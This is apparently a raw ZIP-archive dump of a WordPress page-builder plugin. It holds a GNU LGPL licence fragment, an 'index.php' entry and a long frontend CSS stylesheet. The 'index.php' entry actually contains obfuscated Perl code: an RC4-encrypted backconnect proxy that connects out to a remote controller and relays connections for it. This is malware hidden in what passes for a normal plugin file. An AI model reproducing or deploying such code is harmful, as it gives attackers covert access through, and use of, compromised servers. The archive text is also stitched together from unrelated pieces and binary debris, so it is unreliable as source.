OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Libraries If you develop a new library, and you want it to be of the greatest possible use to the public, we recommend making it free software that everyone can redistribute and change. You can do so by permitting redistribution under these terms (or, alternatively, under the terms of the ordinary General Public License). To apply these terms, attach the following notices to the library. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this library; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Also add information on how to contact you by electronic and paper mail. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the library, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the library `Frob' (a library for tweaking knobs) written by James Random Hacker. , 1 April 1990 Ty Coon, President of Vice That's all there is to it! PK*Y\cB4!! index.phpnu[ 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); PK+Y\!rrcss/premium-frontend.cssnu[/* Pagelayer Premium Frontend Framework */ /* Image hotspot */ .pagelayer-image-hotspots-anim:hover:before{ transform: scale(2); } .pagelayer-image-hotspots-anim .fas{ position: relative; } .pagelayer-image-hotspots-anim::before { content: ""; transform: scale(1); position: absolute; top:0; left:0; bottom:0; right:0; pointer-events: none; animation: pagelayer-hotspot 2s infinite; } @keyframes pagelayer-hotspot { 0% {transform: scale(1);opacity: 1;} 100% {transform: scale(1.5); opacity: 0;} } .pagelayer-hotspots-icon-holder .pagelayer-tooltip-text{ visibility:hidden; } .pagelayer-hotspots-hover .pagelayer-hotspots-icon-holder:hover .pagelayer-tooltip-text, .pagelayer-hotspots-always .pagelayer-hotspots-icon-holder .pagelayer-tooltip-text, .pagelayer-hotspots-icon-holder.pagelayer-clicked .pagelayer-tooltip-text{ visibility:visible; } /* Image Hotspot end */ /* Video Slider */ .pagelayer-imgsl-box{ position:relative; } .pagelayer-video_slider .pagelayer-imgsl-prev a:after{ content: "\f104"; } .pagelayer-video_slider .pagelayer-imgsl-next a:after{ content: "\f105"; } .pagelayer-video_slider .pagelayer-imgsl-controls li a:after{ font-family: "FontAwesome", "Font Awesome 5 Free"; background-image: none; } /* Video Slider End*/ /* Glow Button */ .pagelayer-btn-anim-glow{ color: #fff; background: #111; cursor: pointer; position: relative; z-index: 0; display:inline-block; line-height:1em; } .pagelayer-btn-anim-glow:before{ content: ''; background: linear-gradient(45deg, #ff0000, #ff7300, #fffb00, #48ff00, #00ffd5, #002bff, #7a00ff, #ff00c8, #ff0000); position: absolute; top: -2px; left:-2px; background-size: 400%; z-index: -1; filter: blur(5px); width: calc(100% + 4px); height: calc(100% + 4px); animation: glowing 20s linear infinite; opacity: 0; transition: opacity .3s ease-in-out; } .pagelayer-btn-anim-glow:active { color: #000 } .pagelayer-btn-anim-glow:active:after { background: transparent; } .pagelayer-btn-anim-glow:hover:before { opacity: 1; } .pagelayer-btn-anim-glow:after { z-index: -1; content: ''; position: absolute; background: #111; left: 0; top: 0; } @keyframes glowing { 0% { background-position: 0 0; } 50% { background-position: 400% 0; } 100% { background-position: 0 0; } } /* Glow Button End */ /* Thin Button */ .pagelayer-btn-anim-thin{ transition: all 0.5s; position: relative; display: inline-block; cursor: pointer; line-height:1em; z-index: 0; } .pagelayer-btn-anim-thin::before { content: ''; position: absolute; top: 0; left: 0; width: 100%; height: 100%; z-index: -1; transition: all 0.5s; background-color: inherit; border-color: inherit; border-radius: inherit; } .pagelayer-btn-anim-thin::after { content: ''; position: absolute; top: 0; left: 0; width: 100%; height: 100%; z-index: -1; transition: all 0.5s; background-color: inherit; border-color: inherit; border-radius: inherit; } .pagelayer-btn-anim-thin:hover::before { transform: rotate(-45deg); border-color: inherit; border-radius: inherit; } .pagelayer-btn-anim-thin:hover::after { transform: rotate(45deg); border-color: inherit; border-radius: inherit; } /* Thin Button End */ /* Slide Button */ .pagelayer-btn-anim-slide{ position: relative; display: inline-block; cursor: pointer; transition: all .35s; line-height:1em; } .pagelayer-btn-text{ position: relative; z-index: 1; } .pagelayer-btn-anim-left:after{ position: absolute; content: ""; top: 0; left: 0; width: 0; height: 100%; background: #00ff72; transition: all .35s; border-radius: 5px 5px 5px 5px; } .pagelayer-btn-anim-right:after{ position: absolute; content: ""; top: 0; right: 0; width: 0; height: 100%; background: #00ff72; transition: all .35s; border-radius: 5px 5px 5px 5px; } .pagelayer-btn-anim-slide:hover{ color: #fff; } .pagelayer-btn-anim-slide:hover:after{ width: 100%; } /* Slide Button end*/ /* Slide overlay */ .pagelayer-slide-bg-overlay{ position:absolute; top: 0; left: 0; right: 0; bottom: 0; } .pagelayer-content-slide-bg{ position:absolute; top: 0; left: 0; right: 0; bottom: 0; animation-timing-function:ease; animation-fill-mode: forwards; } .pagelayer-owl-item:not(.active) .pagelayer-content_slide .pagelayer-content-slide-bg, .pagelayer-owl-item:not(.active) .pagelayer-content_slide .pagelayer-wow{ animation-name: none !important; } @keyframes pagelayerKenBurn {0%{transform: scale(1.0);}100%{transform: scale(1.2);}} @keyframes pagelayerKenBurnReverse{0%{transform: scale(1.2);}100%{transform-origin: bottom left;transform: scale(1.0);}} .pagelayer-slide-dot-pos-top .pagelayer-owl-dots{ position: absolute; top: 0 ; left: 50%; transform: translateX(-50%); } .pagelayer-slide-dot-pos-left .pagelayer-owl-dots{ position:absolute; left:0; display:flex; flex-direction:column; top: 50% !important; transform: translateY(-50%); } .pagelayer-slide-dot-pos-right .pagelayer-owl-dots{ position:absolute; right:0; display:flex; flex-direction:column; top: 50% !important; transform: translateY(-50%); } .pagelayer-slide-arrow-pos-top .pagelayer-owl-prev, .pagelayer-slide-arrow-pos-top .pagelayer-owl-next{ position:relative; top:unset; transform:none; } .pagelayer-slide-arrow-pos-top .pagelayer-owl-holder { display:flex !important; flex-direction:column; } .pagelayer-slide-arrow-pos-top .pagelayer-owl-stage-outer { order:2 !important; } .pagelayer-slide-arrow-pos-top .pagelayer-owl-nav { order:1 !important; display:flex; } .pagelayer-slide-arrow-pos-top .pagelayer-owl-dots { order:3 !important; } .pagelayer-slide-arrow-pos-bottom .pagelayer-owl-prev, .pagelayer-slide-arrow-pos-bottom .pagelayer-owl-next { position:relative; top:unset; transform:none; } .pagelayer-slide-arrow-pos-bottom .pagelayer-owl-nav { display:flex; } .pagelayer-slide-dot-number .pagelayer-owl-dots { counter-reset: plSlidePager; } .pagelayer-slide-dot-number .pagelayer-owl-dot span::before { counter-increment: plSlidePager; content: counter(plSlidePager); font-weight: 600; } /* Audio */ .mejs-container, .mejs-controls{ background: none !important; } .mejs-container{ width: 100% !important; height:unset !important; } .mejs-playpause-button button, .mejs-volume-button button{ position: relative !important; margin: 0 !important; padding: 15px !important; width: unset !important; } .mejs-playpause-button button:after, .mejs-volume-button button:after{ font-size: inherit; font-family: "FontAwesome", "Font Awesome 5 Free"; position: absolute; top: 50%; font-weight: 900; left: 50%; transform: translate(-35%, -50%); } .mejs-play button:after{ content: '\f04b'; } .mejs-replay button:after{ content: '\f01e'; } .mejs-mute button:after{ content: '\f028'; } .mejs-unmute button:after{ content: '\f026'; } .mejs-button>button{ background: none !important; } .mejs-pause button:after{ content: '\f04c'; } .mejs-controls, .mejs-horizontal-volume-total, .mejs-horizontal-volume-current{ position:unset !important; } .mejs-controls > * { width: unset !important; display: flex !important; align-items: center; padding: 0 5px !important; } .mejs-controls{ padding:0 !important; } .mejs-time-slider, .mejs-time-rail{ margin: 0 !important; } .mejs-horizontal-volume-current{ height: 100% !important; } .mejs-time-total{ width: calc( 100% - 10px ) !important; } .pagelayer-audio-container *{ height: unset !important; } .mejs-time-handle, .mejs-time-handle-content{ height: 100% !important; top: 0 !important; } .pagelayer-audio-container .mejs-time-buffering, .pagelayer-audio-container .mejs-time-loaded, .pagelayer-audio-container .mejs-time-current, .pagelayer-audio-container .mejs-time-hovered, .pagelayer-audio-container .mejs-time-float, .pagelayer-audio-container .mejs-time-float-corner, .pagelayer-audio-container .mejs-time-float, .pagelayer-audio-container .mejs-horizontal-volume-current{ height:100% !important; } /* Audio end */ /*** Menu List ***/ .pagelayer-menu-item, .pagelayer-menu-title{ display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-box-align: center; -webkit-align-items: center; -ms-flex-align: center; align-items: center; } .pagelayer-menu-separeter, .pagelayer-menu-details{ -webkit-box-flex: 1; -webkit-flex-grow: 1; -ms-flex-positive: 1; flex-grow: 1; } .pagelayer-menu-includes{ margin-top: -7px; } /*** Postfolio ***/ .pagelayer-postfolio-container{ display: grid; } .pagelayer-postfolio-thumb{ display:inline-block; position:relative; background-size:cover !important; background-position:center !important; } .pagelayer-postfolio-content{ position: absolute; top: 0; left: 0; height: 100%; width: 100%; } .pagelayer-postfolio-content .pagelayer-entry-title{ position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); width: 95%; text-align: center; } .pagelayer-postfolio-content .pagelayer-entry-title, .pagelayer-postfolio-content:hover .pagelayer-entry-title{ padding:0; margin:0; opacity: 0; } .pagelayer-postfolio-filter{ text-align:center; } .pagelayer-postfolio-btn{ display:inline-block; padding: 5px 15px; cursor:pointer; } /*** Postfolio End ***/ /* Search Form */ .pagelayer-search-classic .pagelayer-search-fields{ display: flex; overflow:hidden; } .pagelayer-search-classic .pagelayer-search-fields input.pagelayer-search-input{ border-width:0px; } .pagelayer-search-classic .pagelayer-search-fields .pagelayer-search-submit{ border-radius:0px; } .pagelayer-search-toggle, .pagelayer-search-full-screen .pagelayer-search-fields{ display:none; } .pagelayer-search-full-screen .pagelayer-search-toggle{ display:inline-block; text-align: center; } .pagelayer-search-full-screen .pagelayer-search-fields.show{ position: fixed; top: 0; left: 0; background: #211c1c; bottom: 0; right: 0; z-index: 99; align-items: center; display: flex; text-align: center; flex-direction: column; } .pagelayer-search-full-screen .pagelayer-search-input, .pagelayer-search-full-screen .pagelayer-search-input:focus{ width: 60%; text-align: center; background: transparent; border-width: 0; border-bottom-width: 2px; position: absolute; top: 50%; color:#fff; } .pagelayer-search-full-screen .pagelayer-search-submit{ display:none; } /* Search Form end*/ /* Slide */ .pagelayer-slide-btns>div{ display: inline-block; } .pagelayer-slides{ overflow:hidden; } .pagelayer-slides .pagelayer-slide, .pagelayer-slides .pagelayer-content-slide{ height:80vh; } .pagelayer-content-slide > *{ flex:1 } .pagelayer-slides .pagelayer-content-slide{ align-items: center; display: flex; flex-wrap:wrap; } .pagelayer-slides *{ line-height:1.4; } .pagelayer-slide{ height:100%; } .pagelayer-slide-holder{ width:50%; position:relative; } /* Slide End */ /* Author Box*/ .pagelayer-author-image{ width: 100px; } .pagelayer-author-btn{ display: inline-block; } .pagelayer-layout-left{ display:flex; } .pagelayer-layout-left .pagelayer-author-profile-desc, .pagelayer-layout-right .pagelayer-author-profile-desc{ flex:1; } .pagelayer-layout-center{ display:black; } .pagelayer-layout-right{ display:flex; flex-direction: row-reverse; } /* Author Box end*/ /* Login Box start */ .pagelayer-login-input-field{ display:block; width:100%; margin-left:auto; margin-right:auto; } .pagelayer-login-form .pagelayer-rememberMe{ display:inline-block !important; margin:5px; } .pagelayer-login-form .pagelayer-login-wrappers:last-child{ margin-bottom: none !important; } .pagelayer-login-input-left{ margin-left: unset; } .pagelayer-login-input-right{ margin-right: unset; } .pagelayer-login-div label{ display: inline-block; } /* Login Box end */ /* SiteMap start */ .pagelayer-sitemap-flex-wrapper{ display:flex; flex-flow:row wrap; } .pagelayer-sitemap-section{ } /* SiteMap end */ /* Post slider Start*/ .pagelayer-posts-slider-post{ margin:10px; border:1px solid #c5c5c5; box-shadow:1px 1px 10px #c6bfbf; } .pagelayer-posts-slider-img{ width:100%; height:12em; object-fit: cover; -o-object-fit: cover; } .pagelayer-posts-slider-content{ padding:0px 10px 20px; } .pagelayer-posts-slider-content p{ margin:0px; } .pagelayer-posts-slider-title{ font-size: 20px; color:#000000; font-weight: 600; line-height: 1.2; margin-top:20px !Important; margin-bottom: 20px !Important; } .pagelayer-posts-slider-excerpt p{ color:#636060; } .pagelayer-posts-slider-main{ padding:0px; list-style-type: none; } .pagelayer-posts-slider-post .blog-grid-button{ display: none; } .pagelayer-posts-slider-container[hide-posts-title="true"] .pagelayer-posts-slider-title, .pagelayer-posts-slider-container[hide-posts-image="true"] .pagelayer-posts-slider-featured-img, .pagelayer-posts-slider-container[hide-posts-date="true"] .pagelayer-post-slider-date, .pagelayer-posts-slider-container[hide-post-link="true"] .pagelayer-posts-slider-link{ display:none; } .pagelayer-prev-arrow:before{ font-family: "fontawesome" !Important; content: "\f053" !Important; color: Red !Important; font-size:30px !Important; } .pagelayer-next-arrow:before{ font-family: "fontawesome" !Important; content: "\f054" !Important; color: Red !Important; font-size:30px !Important; } .pagelayer-posts-slider-main .slick-slide{ display: none; float: left; height: auto; min-height: 1px; } /*post slider css end*/ /*fb buttons css start*/ .pagelayer-fb-btn-details{ padding:20px; } /*Review Start*/ .pagelayer-review-author{ position: relative; } .pagelayer-review-author .pagelayer-icon-holder{ position: absolute; top:0px; right:10px; } .pagelayer-review-slide{ border:1px solid #000000; margin: 0px 0px 5px 0px; } .pagelayer-review-slide hr{ margin:0; } .pagelayer-review-author-img, .pagelayer-review-author-details{ display:inline-block; vertical-align: middle; } .pagelayer-review-author-img img{ max-width: 150px; object-fit: cover; -o-object-fit: cover; } .pagelayer-review-author-details{ vertical-align: middle; } .pagelayer-review-text, .pagelayer-review-author{ margin:5px 10px; } /*Review End*/ /*WooCommerce Menu Cart*/ .pagelayer-cart-button-icon[data-counter]:before{ display:none; } .pagelayer-menu-cart-toggle[pagelayer-icon="bubble"] .pagelayer-cart-button-icon[data-counter]:before{ content: attr(data-counter); display: block; position: absolute; min-width: 1.6em; height: 1.6em; line-height: 1.5em; top: -.7em; right: -.7em; border-radius: 100%; color: #ffffff; background-color: #000; text-align: center; font-size: 10px; } .pagelayer-menu-cart-toggle[pagelayer-icon="plain"] .pagelayer-cart-button-icon[data-counter]:before { content: attr(data-counter); display: inline-block; } .pagelayer-menu-cart-toggle[pagelayer-empty-indicator="true"] .pagelayer-cart-button-icon[data-counter="0"]:before{ display:none; } .pagelayer-menu-cart-hidden{ display:none; } .pagelayer-cart-button-icon{ position:relative; } .pagelayer-menu-cart-container{ background-color:#e1e1e1; z-index:999; padding:20px; display:none; } [pagelayer-container-position="fixed_right"] .pagelayer-menu-cart-container{ position:fixed; top:0; right:0; height:100%; } [pagelayer-container-position="fixed_left"] .pagelayer-menu-cart-container{ position:fixed; top:0; left:0; height:100%; } [pagelayer-container-position="dropdown"] .pagelayer-menu-cart-container{ position:absolute; left:auto; right:auto; } .pagelayer-menu-cart-close{ cursor:pointer; } .pagelayer-cart-button{ display:inline-block; } .pagelayer-menu-cart-container{ overflow-y:auto; } .pagelayer-menu-cart-container .woocommerce-mini-cart-item img, .pagelayer-menu-cart-container .woocommerce-mini-cart-item a{ margin-right:10px; } .pagelayer-menu-cart-container .woocommerce-mini-cart-item{ list-style:none } /*WooCommerce Menu Cart End*/ /* Call to action */ .pagelayer-cta-img-holder{ overflow:hidden; width:100%; } .pagelayer-cta-image{ -o-object-fit: cover; object-fit: cover; /* height:100%; */ background-size: cover; background-position: center; } .pagelayer-cta-image:before{ content:''; position:absolute; width:100%; height:100%; z-index:1; } .pagelayer-call[class*="pagelayer-cta-align"]{ display:flex; flex-wrap:wrap; position:relative; } .pagelayer-cta-align-right{ flex-direction:row-reverse; } .pagelayer-cta-content-holder{ display:flex; flex-grow:1; } .pagelayer-cta-content{ width:100%; } .pagelayer-cta-ribbon:before { content: ""; height: 0; width: 0; display: block; position: absolute; border-top: solid; border-bottom: solid; z-index: -1; } .pagelayer-cta-ribbon:after{ content: ""; width: 100%; left:0; position:absolute; } .pagelayer-cta-ribbon-left:before{ right: 0; border-right: solid transparent; } .pagelayer-cta-ribbon-right:before{ left: 0; border-left: solid transparent; } .pagelayer-cta-ribbon-text{ height:100%; } .pagelayer-cta-ribbon-text:before{ content: ""; height: 0; width: 0; display: block; position: absolute; top: 0; border-top: solid; border-bottom: solid; border-right: solid transparent; border-left: solid transparent; } .pagelayer-cta-layout-overlay .pagelayer-cta-image{ width:100%; } .pagelayer-cta-layout-overlay .pagelayer-cta-content-holder{ position: absolute; top: 0; left: 0; width: 100%; height: 100%; } .pagelayer-cta-zoomin:hover .pagelayer-cta-image{ -ms-transform: scale(1.5); -webkit-transform: scale(1.5); transform:scale(1.5); } .pagelayer-cta-zoomout:hover .pagelayer-cta-image{ -ms-transform: scale(0.5); -webkit-transform: scale(0.5); transform:scale(0.5); } .pagelayer-cta-moveup:hover .pagelayer-cta-image{ background-position: top; } .pagelayer-cta-movedown:hover .pagelayer-cta-image{ background-position: bottom; } .pagelayer-cta-moveleft:hover .pagelayer-cta-image{ background-position: left; } .pagelayer-cta-moveright:hover .pagelayer-cta-image{ background-position: right; } .pagelayer-cta-content-holder{ z-index:1; } /* Call to action end */ /* Table start */ .pagelayer-table{ overflow-x: auto; } .pagelayer-table-holder{ width:100%; } .pagelayer-table-holder > tbody > tr > td{ word-break:break-word; } /* Table end */ /* Pop-up templates start */ .pagelayer-popup-modal{ position: fixed; height: 100%; width: 100%; top: 0; left: 0; z-index: 9999; display:none; align-items:center; justify-content:center; pointer-events:none; } .pagelayer-popup-modal-content{ width: 375px; background-color:#ffffff; min-height:70px; position:relative; pointer-events:all; } .pagelayer-popup-content{ height:100%; overflow:auto; } .pagelayer-popup-close{ position:absolute; top:2%; left:95%; cursor:pointer; display:none; } /* Pop-up templates end */ /* Image Portfolio */ .pagelayer-category-holder{ text-align:center; padding-bottom:20px; } .pagelayer-pfbtn{ border:none; padding:10px 10px; background-color:#333; color:#fff; margin:0 5px; cursor:pointer; } .pagelayer-img_portfolio-holder>div{ width:33%; } .pagelayer-single_img{ padding:10px; } .pagelayer-pf-img{ position:relative; } .pagelayer-pf-img .pagelayer-image-overlay-content{ text-align: center; width:100%; } .pagelayer-single_img .pagelayer-image-overlay{ height: 0%; opacity:1; overflow:hidden; background-color:rgba(3,3,3,0.5); align-items: center; } .pagelayer-single_img:hover .pagelayer-image-overlay{ height: 100%; } .pagelayer-overlay-heading{ color:#ffffff; } .pagelayer-single_img .pagelayer-image-overlay-text{ color: #c7b7b7; } .pagelayer-single_img .pagelayer-image-overlay-icon{ font-size: 40px; color: #ffffff; } .pagelayer-scrolling-effects{ transition: background .3s,border .3s,-webkit-border-radius .3s,-webkit-box-shadow .3s !important; -webkit-transition: background .3s,border .3s,-webkit-border-radius .3s,-webkit-box-shadow .3s !important; transition-delay:0s !important; -webkit-transition-delay:0s !important; transition-timing-function: cubic-bezier(0,.32,.07,1.03) !important; -webkit-transition-timing-function: cubic-bezier(0,.32,.07,1.03) !important; position:relative; z-index:1; } .pagelayer-mouse-effects{ transition-delay:0s !important; -webkit-transition-delay:0s !important; transition-timing-function: cubic-bezier(0,.32,.07,1.03) !important; -webkit-transition-timing-function: cubic-bezier(0,.32,.07,1.03) !important; position:relative; z-index:1; } /*Timeline widget*/ /* The actual timeline (the vertical ruler) */ .pagelayer-timeline { position: relative; margin: 0 auto; } /* The actual timeline (the vertical ruler) */ .pagelayer-timeline::after { content: ''; position: absolute; width: 6px; top: 0; bottom: 0; left: 50%; margin-left: -3px; } /* Container around content */ .pagelayer-timeline-container { padding: 10px 40px; position: relative; background-color: inherit; width: 100%; display:flex; box-sizing: border-box; } .pagelayer-timeline .pagelayer-timeline-container{ padding-bottom:50px; } .pagelayer-timeline-center-circle-container{ height:inherit; width:40px; position:relative; margin-left:auto; margin-right:auto; box-sizing: border-box; } /* The circles on the timeline */ .pagelayer-timeline-center-circle{ position: absolute; text-align:center; background-color: white; display: flex; flex-direction: column; justify-content: center; z-index: 1; box-sizing: border-box; } .pagelayer-timeline-circle-text p{ margin-top:auto; margin-bottom:auto; } /* Place the container to the left */ .pagelayer-timeline-container-left { width:50%; } .pagelayer-timeline-container-left .pagelayer-timeline-content{ margin-left:auto; margin-right:10%; } /* Place the container to the right */ .pagelayer-timeline-container-right { width:50%; } .pagelayer-timeline-container-right .pagelayer-timeline-content{ margin-left:10%; margin-right:auto; } /*both side container css*/ .pagelayer-timeline-left .pagelayer-timeline-container-right, .pagelayer-timeline-right .pagelayer-timeline-container-left{ visibility:hidden; } /* The actual content */ .pagelayer-timeline-content { padding: 20px 30px; position: relative; word-break: break-word; box-sizing: border-box; overflow:hidden; } .pagelayer-timeline-content .pagelayer-heading-holder *{ margin:0px; } @media screen and (max-width: 600px) { .pagelayer-timeline::after { left: 31px; } .pagelayer-timeline-center-circle-container { position:absolute; height:100%; left:11px; top:0; } .pagelayer-timeline-container{ display:inline-block; } .pagelayer-timeline-container-left, .pagelayer-timeline-container-right{ width:100%; margin:10px !important; margin-left: 30px !important; } .pagelayer-timeline-container-left .pagelayer-timeline-content, .pagelayer-timeline-container-right .pagelayer-timeline-content{ margin:0; } } /*Timeline widget end*/ /*facebook page css start*/ .pagelayer-fb-page-container, .pagelayer-fb-embed-container{ text-align:center; } .pagelayer-fb-embed-container .fb-embed{ width:100%; } .pagelayer-fb-btn-container .fb-like iframe{ width:auto !important; } /*facebook page css end*/ /* pagelayer sticky */ .pagelayer-sticky-ele{ transition: none; } /*pagelayer sticky end*/ /* Product image css */ .pagelayer-woo-gallery-left ol{ padding: 0px !important; margin: 0px !important; order: 1; display: grid; grid-template-columns: repeat(1,auto); overflow: hidden; list-style: none; } .pagelayer-woo-gallery-left ol li img, .gallery-thumb-position-left ol li{ width: 100% !important; height:100% } .pagelayer-woo-gallery-left .flex-viewport{ order:2; } 